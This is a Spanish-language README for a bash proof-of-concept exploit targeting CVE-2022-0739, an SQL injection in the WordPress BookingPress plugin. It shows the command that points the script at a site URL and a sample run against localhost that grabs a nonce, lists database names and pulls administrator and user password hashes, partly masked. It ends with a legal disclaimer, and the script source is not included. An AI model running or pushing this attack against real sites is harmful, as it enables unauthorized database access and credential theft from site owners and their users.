
Script bash simple para automatizar la explotación de cve 2022 0739
Exploit de prueba de concepto (SQLI BookingPress anterior a 1.0.11)
#Uso Proporcione la URL donde el plugin Booking Press está en uso en la aplicación.
bash exploit.sh ''
p. ej. (Los hashes están redactados en esta demo)
┌──(user@user)-[~/]
└─$ bash sqli_exploit.sh 'http://localhost/calendar/'
____ __ _ ____
/ __ )____ ____ / /__(_)___ ____ _/ __ \________ __________
/ __ / __ \/ __ \/ //_/ / __ \/ __ `/ /_/ / ___/ _ \/ ___/ ___/
/ /_/ / /_/ / /_/ / ,< / / / / / /_/ / ____/ / / __(__ |__ )
/_____/\____/\____/_/|_/_/_/ /_/\__, /_/ /_/ \___/____/____/
/____/
_______ ________ ___ ____ ___ ___ ____ __________ ____
/ ____/ | / / ____/ |__ \ / __ \__ \|__ \ / __ \/__ /__ // __ \
/ / | | / / __/________/ // / / /_/ /__/ /_____/ / / / / / /_ </ /_/ /
/ /___ | |/ / /__/_____/ __// /_/ / __// __/_____/ /_/ / / /___/ /\__, /
\____/ |___/_____/ /____/\____/____/____/ \____/ /_//____//____/
[+] Explotando http://localhost ...
[+] URL vulnerable en http://localhost/calendar/...
[+] Obteniendo nonce...
[+] Nonce encontrado: 219087f4c2
[+] Extraer nombre de la base de datos...
information_schema
test_db
[+] Obteniendo credenciales...
admin $P$BGrGrgXXXXXXXXXXXXXX
testUs3r $P$B4aNM28NXXXXXXXXXXX
DESCARGO DE RESPONSABILIDAD
El uso de este programa sin el consentimiento mutuo previo puede considerarse una actividad ilegal. Es responsabilidad del usuario final cumplir con todas las leyes locales, estatales y federales aplicables. Los desarrolladores no asumen ninguna responsabilidad y no son responsables de ningún uso indebido o daño causado por este programa.